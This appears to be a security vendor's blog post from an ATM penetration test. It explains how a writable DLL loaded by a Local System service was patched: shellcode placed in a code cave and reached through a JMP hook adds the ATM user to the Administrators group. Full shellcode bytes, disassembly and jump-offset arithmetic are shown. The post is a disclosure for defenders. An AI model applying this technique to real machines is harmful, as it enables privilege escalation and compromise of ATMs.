Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Old School Code Injection in an ATM .dll

During our last ATM review engagement, we found some interesting executable files that were run by Windows Services under Local System account. These binaries had weak file permissions that allowed us to modify them using the standard ATM user account. As a proof of concept, I decided to inject some code into one of them to take full control of the system.

This post is about the technique I used to inject the code into a .dll used by one of the Windows Services. I'm sure there are many other ways to do this, including with automatic tools, but this old school code injection worked for me, so it is worth sharing. I have renamed the binaries in order to avoid disclosing information about the vendor. Anyway, the issue here was only related to file permissions and not to the actual binaries.

 

First analysis

First, I decompiled the banana-service.exe binary, a .NET assembly using ILSpy (http://ilspy.net/), in order to learn a bit more about it. Here is what I found in the code:

8470_2aacf65b-8d5a-479f-8390-fd9839b0ed54

…[SNIP]…[DllImport("peel.dll", SetLastError = true)]public static extern int peel();protected override void OnStart(string[] args){     int num = banana-service.peel();…[SNIP]…

 

So the assembly is just calling the peel() function located in the peel.dll library. This is where I am going to inject my code.

I could have tried to inject directly into the assembly code but I choose the .dll instead, which was the easiest way for me.

Here is an extract of the disassembled code of the exported peel() function in the .dll:

10896_9ed394e6-e7d2-4c11-b0ec-3769e9b6d6cd

 

We want our own code to execute immediately when peel() is called. To do so, we are going to change the beginning of the function to jump to our code and return to the normal execution flow after it. This way, the function will behave normally without disrupting the ATM. But where should we put our code?

At the end of the .text section we can see a code cave full of 0x00 bytes, which is the perfect place:

11224_af2a527a-8deb-425f-b218-20f2e3a5fc0f

 

Shell code

I used a basic shell code that originally runs cmd.exe and modified it to execute the following command:

net localgroup administrators Default_atm /add

 

This simply adds the Default_atm user to the Administrators local group. The original shell code can be found here: http://www.exploit-db.com/exploits/13614/.

This code simply calls the C library function system() located in msvcrt.dll library passing the command as a parameter. The ATM was running Windows XP SP3, and I didn't have to change the address of the system() function (0x77c293c7). In case your library is different, you can find this address with Dependency Walker. Find the address of the system() function in msvcrt.dll and add the Preferred Base address to it (0x193C7 + 0x77c10000 = 0x77c293c7):

11260_b0b3840e-c7d4-478c-90e4-5d1bee818f17

 

Here is the shell code:

\x55\x8B\xEC\x68\x64\x64\x26\x20\x68\x6D\x20\x2F\x61\x68\x74\x5F\x61\x74\x68\x66\x61\x75\x6C\x68\x73\x20\x44\x65\x68\x61\x74\x6F\x72\x68\x69\x73\x74\x72\x68\x64\x6D\x69\x6E\x68\x75\x70\x20\x61\x68\x6C\x67\x72\x6F\x68\x6C\x6F\x63\x61\x68\x6E\x65\x74\x20\x8D\x45\xD0\x50\xB8\xC7\x93\xC2\x77\xFF\xD0\x83\xC4\x4C\x8B\xE5\x5D

And here are the explanations:

1. Prologue:

 0: 55                      push   ebp 1: 8b ec                   mov    ebp,esp 

 

2. Push the string representation of the command we want to execute: "net localgroup administrators Default_atm /add& " ("&[space]" at the end is only padding).

 3: 68 64 64 26 20          push   0x20266464 8: 68 6d 20 2f 61          push   0x612f206d d: 68 74 5f 61 74          push   0x74615f7412: 68 66 61 75 6c          push   0x6c75616617: 68 73 20 44 65          push   0x654420731c: 68 61 74 6f 72          push   0x726f746121: 68 69 73 74 72          push   0x7274736926: 68 64 6d 69 6e          push   0x6e696d642b: 68 75 70 20 61          push   0x6120707530: 68 6c 67 72 6f          push   0x6f72676c35: 68 6c 6f 63 61          push   0x61636f6c3a: 68 6e 65 74 20          push   0x2074656e

 

3. Push a pointer to the beginning of the string on the stack:

3f: 8d 45 d0                lea    eax,[ebp-0x30]42: 50                      push   eax

 

4. Call the system() function:

43: b8 c7 93 c2 77          mov    eax,0x77c293c748: ff d0                   call   eax

 

5. Do some cleanup:

4a: 83 c4 4c                add    esp,0x4c4d: 8b e5                   mov    esp,ebp4f: 5d                      pop    ebp 

 

Now we need to include this in the binary and write the jump instructions to connect everything together.

 

Adding the code to the binary

Let's copy these bytes in the code cave we found earlier (at the address 0x100B9E9D for example)...

9888_70b739d5-9315-49af-860d-fe3bbefa337d

 

… and see how IDA Pro translates this:

12311_e4d07621-56f2-42b7-8a31-b7917188e94b

 

Now we need to write the instruction that will jump to this code (near jump). We are going to do it at the beginning of the peel() function (at the address 0x10003CB0).

 

The operand of the JMP instruction will be an offset (16-bit) from the address 0x10003CB0 to 0x100B9E9D, which would be 0xB61ED. But because the JMP instruction offset is relative to the address of the instruction following the JMP, we have to subtract 5 (the length of JMP+[16-bit offset] is 5 bytes). The final instruction is:

0: E9 E8 61 0B 00          jmp 0xb61e8

 

The peel() function begins with the following code:

0: 55                      push   ebp1: 8b ec                   mov    ebp,esp3: 81 ec 9c 00 00 00       sub    esp,0x9c 

 

We will need to overwrite the first 5 bytes (the JMP instruction) and, to avoid breaking the original code, we will need to move the first 3 instructions above to the end of our injected code. Also, because the total length of these instructions is 9 bytes, we will pad the 4 remaining bytes with NOP instructions (not mandatory here though).

Finally, the code at the beginning of the peel() function (at 0x10003CB0) will be:

E9 E8 61 0B 00 90 90 90 90

8036_1415c3be-4503-4469-9bd3-22d99a2459e2

12695_f45c2f5d-21d6-4d44-aa37-e723354ce50d

 

Now going back to our injected code, I will simply add the code we overwrote:

8859_3ddc2a35-38f1-4f41-9eef-dea7d391e8aa

9772_6b79ac99-da8d-4034-9124-204c817955bf

 

We could have done some factorization here. We can see that we have redundant and useless code, but let's keep it like this for now:

…[SNIP]….text:100B9EE7                 add     esp, 4Ch.text:100B9EEA                 mov     esp, ebp.text:100B9EEC                 pop     ebp.text:100B9EED                 push    ebp.text:100B9EEE                 mov     ebp, esp.text:100B9EF0                 sub     esp, 9Ch…[SNIP]…

 

The last thing we have to do now is jump back to right after the first JMP instruction located at the beginning of the peel() function.

Let's do the math:

  0x10003CB9 (address of the first instruction after the 4 NOP we added)- 0x100B9EF6 (address after the last instruction in our injected code)- 0x5        (size of JMP instruction)-------------  0xFFF49DBE (or the negative value: -0xB6242)

 

The jump instruction will be:

0: E9 BE 9D F4 FF           jmp 0xFFF49DBE

8357_24bfcf2b-d285-4d37-867f-b881aea9d027

10341_84245c36-c3bf-4ab3-9736-ad1672f4cff8

 

Et voila!

In the next post I will give more details on how to actually patch the binary. Stay tuned…

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo